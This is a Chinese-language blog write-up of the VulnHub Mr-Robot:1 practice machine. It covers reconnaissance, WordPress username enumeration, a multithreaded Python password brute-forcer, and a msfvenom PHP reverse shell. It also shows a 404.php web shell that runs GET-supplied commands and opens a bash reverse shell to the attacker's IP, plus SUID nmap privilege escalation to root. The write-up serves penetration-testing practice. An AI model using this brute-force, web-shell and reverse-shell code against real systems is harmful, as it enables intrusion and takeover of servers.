【Vulnhub通关】Mr-Robot:1


准备工作

靶机基本信息

靶机名称:Mr-Robot 1

操作系统:Linux

虚拟机软件:VirtualBox

网络连接方式:桥接至物理网络

渗透测试目标:获取靶机的3个Flag和root权限

下载地址:1. Mr-Robot: 1 ~ VulnHub(VirtualBox版)

2. Mr-Robot_1.7z_免费高速下载|百度网盘-分享无限制 (推荐VMware版)

环境配置

将下载的压缩文件解压之后,点击VMware Workstation主页的File => Open选项,在文件选择窗口中选中Mr-Robot_1.ovf文件打开即可

P.S. 别忘了拍快照哦~


信息收集

IP地址发现

在Kali Linux中,使用netdiscover命令发现靶机IP地址:

shell 复制代码
netdiscover -r 192.168.2.0/24

可以看到设备名为VMware, Inc.的机器为靶机,IP地址为192.168.2.104

防火墙探测

知道靶机IP地址之后,我们首先来进行一波防火墙信息探测。

首先使用ICMP探测:

Text 复制代码
┌──(root㉿attacker)-[~]
└─# ping -c 4 192.168.2.104
PING 192.168.2.104 (192.168.2.104) 56(84) bytes of data.
64 bytes from 192.168.2.104: icmp_seq=1 ttl=64 time=1.38 ms
64 bytes from 192.168.2.104: icmp_seq=2 ttl=64 time=1.12 ms
64 bytes from 192.168.2.104: icmp_seq=3 ttl=64 time=0.915 ms
64 bytes from 192.168.2.104: icmp_seq=4 ttl=64 time=0.968 ms

--- 192.168.2.104 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 0.915/1.095/1.381/0.180 ms

可以看到攻击机和靶机连通性良好。

使用Nmap进行ACK探测:

shell 复制代码
nmap -sA -T4 -p- 192.168.2.104

可以看到靶机开放了3个端口,大概率存在防火墙。

网络服务扫描

知道了靶机的防火墙信息之后,我们对其进行网络服务扫描:

shell 复制代码
nmap -sS -sV -O -p- -oN ./tcp_result.txt 192.168.2.104

可以看到靶机对外有如下端口:

端口 状态 传输层协议 应用层协议 详细信息
22 关闭 TCP SSH 未知
80 开启 TCP HTTP Apache httpd
443 开启 TCP HTTPS Apache httpd

同时发现靶机操作系统为Linux,内核版本大概为Linux 3.10 - 4.11


服务探测(Web应用程序)

由于靶机只对外开放了HTTP(S)服务,所以本篇内容只进行针对Web应用的服务探测。

首先打开浏览器,访问靶机主页:http://192.168.2.104/,随后你会看到一段开场动画:

emmm。。。属实一开局就把人给整愣住了。。。

在确认该网页并未使用任何前端SSH框架之后,我决定看看里面是什么,于是输入了网页提供的命令,结果发现了一些中二气息爆棚的内容,大概是作者想以凡人之躯撼动世界之上的规则。这里放几张截图:

然后在摸鱼时发现了这张图,突然释怀地笑:

所以......给这个美好的世界献上一发爆裂魔法吧!(bushi

好了,接下来用dirsearch扫描一下目录:

shell 复制代码
dirsearch -u http://192.168.2.104/ -x 301,403,404

可以看到有如下关键目录:

  • /wp-admin     =>     WordPress后台
  • /intro       =>     网站动画目录
  • /sitemap      =>     XML内容
  • /wp-content    =>     WordPress插件目录
  • favicon.ico    =>     网站图标
  • license.txt    =>     WordPress开源证书
  • wp-login.php    =>     WordPress后台登录页
  • readme.html    =>     WordPress安装说明
  • robots.txt     =>     网站反爬信息
  • wp-config.php   =>     WordPress配置文件
  • wp-cron.php    =>     未知
  • xmlrpc.php     =>     未知

可以判断出靶机网站使用了WordPress。先看看robots.txt中有什么:

Text 复制代码
┌──(root㉿attacker)-[/home/hacker]
└─# curl http://192.168.2.104/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txt

很好,成功找到了第一个Flag文件key-1-of-3.txt

下载一下fsocity.dic文件看看:

看样子只能爆破登录用户密码了。


渗透测试

爆破WordPress账密

首先我们打开BurpSuite,过一下登录流程来确定路由信息:

可以看到POST内容中的logpwd两个参数为用户名密码参数。但是在之前尝试登录时发现,如果输入了错误的用户名,会看到ERROR: Invalid username.这条报错信息。因此我们可以利用这个设计缺陷来爆破用户名。

将该请求发送至Intruder模块,然后将log参数的内容打上爆破标识:

然后进入Payloads标签页配置攻击载荷:

点击Start Attack按钮开始爆破:

可以看到第15行请求的载荷为Elliot,这行请求返回的长度为4232,而其它请求返回的长度都为4182,由此确定Elliot为正确的用户名。尝试查看:

果然!!!

接下来进行密码爆破。因为字典过大且有很多重复内容,我们通过编写Python脚本来对其进行去重和破解。代码如下:

Python 复制代码
import os
import requests
import threading

def blockPwdList():
    global passwordList
    global pwdListCount
    global threads
    pieceLength = pwdListCount // threads
    newPassList = []
    for i in range(0, pwdListCount, pieceLength):
        newPassList.append(passwordList[i:i+pieceLength])
    return newPassList

def brute(passLst, url):
    target = url
    header = {
        "Host": "192.168.2.104",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Connection": "keep-alive",
        "Content-Type": "application/x-www-form-urlencoded",
        "Cookie": "s_fid=17A2B3F6B224AF9B-20D537F80C0FD34E; s_nr=1703127074425; s_cc=true; s_sq=%5B%5BB%5D%5D; wordpress_test_cookie=WP+Cookie+check",
        "Origin": "http://192.168.2.104",
        "Referer": "http://192.168.2.104/wp-login.php",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0",
        }
    for i in range(0, len(passLst)):
        postdata = {
            "log":"Elliot",
            "pwd":str(passLst[i]),
            "rememberme":"forever",
            "wp-submit":"Log+In",
            "redirect_to":"http://192.168.2.104/wp-admin/",
            "testcookie":"1"
            }
        print("[*] Trying: %s"%(str(passLst[i])))
        try:
            resp = requests.post(url=target, headers=header, data=postdata,allow_redirects=False)
        except:
            print("[*] Network error!")
            s._exit(0)
        if resp and "ERROR" not in resp.text:
            print("[+] Found: %s"%(str(passLst[i])))
            print("[*] Exiting......")
            os._exit(0)

targetUrl = "http://192.168.2.104/wp-login.php"
username = "Elliot"
pwdDict = "./fsocity.dic"
passwordList = []
pwdListCount = 0
threads = 50
threadsPool = []
  
with open(pwdDict,'r') as dictReader:
    passwordList = dictReader.readlines()
    
passwordList = list(set(passwordList))
pwdListCount = len(passwordList)
for i in range(0,pwdListCount - 1): passwordList[i] = passwordList[i].strip("\n")
passwordList = blockPwdList()
threads = len(passwordList)

for i in range(0, threads):
    eachlst = passwordList[i]
    eachThread = threading.Thread(target=brute, args=(eachlst,targetUrl))
    threadsPool.append(eachThread)

for eachthread in threadsPool:
    eachthread.start()
for eachthread in threadsPool:
    eachthread.join()

print("[*] Exiting...")

脚本首先定义了目标网址、字典文件地址、线程数、已知用户名 等信息,然后打开字典文件并一次性将内容逐行读入内存,随后对其进行了去重、去末尾\n字符 后保存为新数组。接着使用blockPwdList()函数对其按线程数进行了切片,最后使用多线程进行爆破。

爆破结果如下,可以看到只使用了2分22秒就找出了正确结果,而去重后的密码数多达1万个:

(这里因为担心虚拟机性能问题,直接使用物理机进行爆破)

成功找到WordPress的登录信息:

  • 用户名:Elliot
  • 密码:ER28-0652

直接登录:

WordPress插件提权

登录之后翻看后台,在插件商店页面中发现有上传自定义插件的按钮Upload Plugin,点击后界面如下:

看来是要我们将编写好的插件打包在.zip压缩文件中上传。我们点击左侧的Plugins => Editor按钮进入插件编辑器,发现插件都是PHP程序

既然如此,那么我们直接使用Metasploit生成一个可以反弹Shell的PHP木马上传 (下面的注释必须添加)

PHP 复制代码
<?php
/*
Plugin Name: WebShell
Plugin URI: https://zayu.net/
Description: webshell
Author: silverwolf
Version: 0.1
Author URI: https://silverwolf.net/
*/

/* More PHP codes... */
?>
shell 复制代码
msfvenom -p php/reverse_php LHOST=192.168.2.50 LPORT=20000 -f raw > ./webshell.php

随后将其打包为webshell.zip文件上传:

然后在攻击机上监听20000号端口:

shell 复制代码
msfconsole
use exploit/multi/handler
set payload php/reverse_php
set LHOST 192.168.2.50
set LPORT 20000
run

接着去插件中心找到上传的木马插件并激活:

反弹是成功了,不过老是不稳定,连上一会儿就自动断开。

最后找到了编辑404.php页面的界面,在文件最底部加上了PHP一句话木马:

打开BurpSuite,在浏览器中访问http://192.168.2.104/404.php,截包发送至Repeater,在code参数后面加上id命令:

成功!!!

现在尝试给404.php增加反弹Shell功能:

PHP 复制代码
<?php
/**
 * The template for displaying 404 pages (not found)
 *
 * @package WordPress
 * @subpackage Twenty_Fifteen
 * @since Twenty Fifteen 1.0
 */

$cmd = $_GET['code'];
if (!isset($cmd) || empty($cmd)){
    die("The GET arument 'code' must be set!");
}
if ($cmd === "reverse_shell"){
    $sock = fsockopen("192.168.2.50",20000);
    system("/bin/bash -i <&3 >&3 2>&3");
} else {
    system($cmd);
}

?>

点击下面的Update File按钮提交修改,接下来在BurpSuite中发送请求,其中GET参数cmd的内容为reverse_shell,发送前使用rlwrap nc -lvnp 20000命令在本地开启监听

但Shell还是不稳定,刚连上就断开了。。。

最后还是决定使用Kali Linux中自带的php-reverse-shell.php来替换404.php,路径为/usr/share/webshells/php/php-reverse-shell.php

成功!


权限提升

本地信息收集

进入系统之后,我们使用如下命令进行信息收集:

系统版本信息

shell 复制代码
uname -arn && cat /proc/version

发行版信息

shell 复制代码
cat /etc/os-release

用户信息

shell 复制代码
id

家目录信息

shell 复制代码
ls -lAR /home

可以看到/home/robot目录下有敏感文件。

解密robot用户密码

通过刚才的信息收集,我们已经得知robot用户家目录下有如下敏感文件:

  • key-2-of-3.txt,权限为400,暂时无权查看
  • password.raw-md5,权限为644

我们查看password.raw-md5文件:

Text 复制代码
$ cat /home/robot/password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

很明显是Linux用户密码的加密值,直接送去解密:

得到登录信息:

  • 用户名:robot
  • 密码:abcdefghijklmnopqrstuvwxyz

直接切换用户 (需要获取bash的Shell)

shell 复制代码
python -c "import pty;pty.spawn('/bin/bash')"
su robot

成功获取第二个Flag:

旧版本Nmap提权

登录进了robot用户之后,尝试执行sudo -l命令(这里改过密码):

Text 复制代码
robot@linux:~$ sudo -l
sudo -l
[sudo] password for robot: *********

Sorry, user robot may not run sudo on linux.

看来robot用户不在Sudo组中。

查找一下具有SUID位的文件

shell 复制代码
find / -perm -u=s -type f 2>/dev/null

嗯???为什么靶机里会安装Nmap????

尝试看一下Nmap的版本:

Text 复制代码
robot@linux:~$ nmap -V
nmap -V

nmap version 3.81 ( http://www.insecure.org/nmap/ )

看来确实是Nmap无疑了,而且版本还很老,非常奇怪。。。。

看一下帮助信息,发现了一个陌生的参数:

这是个啥?百度一下,发现:

也就是说,版本号在2.025.21之间的Nmap可以使用--interactive参数执行任意命令。

好好好,这波是把自己玩进去了逝吧。。。

执行命令:

shell 复制代码
nmap --interactive

查看帮助信息,发现键入! <command>可以执行命令。我们直接查看用户ID:

Text 复制代码
nmap> ! id
! id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
waiting to reap child : No child processes

非常好!EUIDroot,开始修改root用户密码。

但是这里我们无法直接使用passwd命令修改密码,因为实际的UID还是robot这里我们可以使用Python的os库的setuid()方法将实际UID设置为0后,使用system()方法执行passwd命令。

Text 复制代码
nmap> ! python -c "import os;os.setuid(0);os.system('passwd root')"
! python -c "import os;os.setuid(0);os.system('passwd root')"
Enter new UNIX password: *********

Retype new UNIX password: *********

passwd: password updated successfully
waiting to reap child : No child processes

直接切换root用户:

成功!!!


本次靶机渗透到此结束

相关推荐
用户9623779544817 小时前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主2 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954484 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机4 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机4 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954484 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star4 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954484 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher6 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行9 天前
网络安全总结
安全·web安全